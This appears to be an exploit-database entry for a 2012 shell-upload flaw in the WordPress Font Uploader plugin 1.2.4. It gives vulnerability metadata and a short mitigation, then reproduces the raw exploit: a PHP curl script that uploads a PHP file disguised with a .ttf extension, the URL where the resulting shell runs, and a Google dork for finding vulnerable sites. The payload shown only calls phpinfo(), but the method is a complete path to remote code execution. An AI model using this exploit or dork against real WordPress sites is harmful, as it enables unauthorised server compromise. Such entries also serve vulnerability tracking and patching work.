header-logo
Suggest Exploit
vendor:
WordPress Font Uploader
by:
Sammy FORGIT
7,5
CVSS
HIGH
Shell Upload
434
CWE
Product Name: WordPress Font Uploader
Affected Version From: 1.2.4
Affected Version To: 1.2.4
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:wordpress_font_uploader
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2012

WordPress Plugins – WordPress Font Uploader Shell Upload Vulnerability

A vulnerability in the WordPress Font Uploader plugin allows an attacker to upload a malicious PHP file to the server. The vulnerability is due to the lack of file type validation in the plugin. An attacker can exploit this vulnerability by uploading a malicious PHP file with a .ttf extension. This will allow the attacker to execute arbitrary code on the server.

Mitigation:

Upgrade to the latest version of the WordPress Font Uploader plugin. Additionally, ensure that all plugins are up to date.
Source

Exploit-DB raw data:

##################################################
# Description : Wordpress Plugins - WordPress Font Uploader Shell Upload
Vulnerability
# Version : 1.2.4
# Link : http://wordpress.org/extend/plugins/font-uploader/
# Plugins : http://downloads.wordpress.org/plugin/font-uploader.1.2.4.zip
# Date : 01-06-2012
# Google Dork : inurl:/wp-content/plugins/font-uploader/
# Author : Sammy FORGIT - sam at opensyscom dot fr -
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.ttf";
$ch =
curl_init("http://server/wordpress/wp-content/plugins/font-uploader/font-upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('font'=>"@$uploadfile",
'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/font-uploader/fonts/lo.php.ttf

lo.php.ttf
<?php
phpinfo();
?>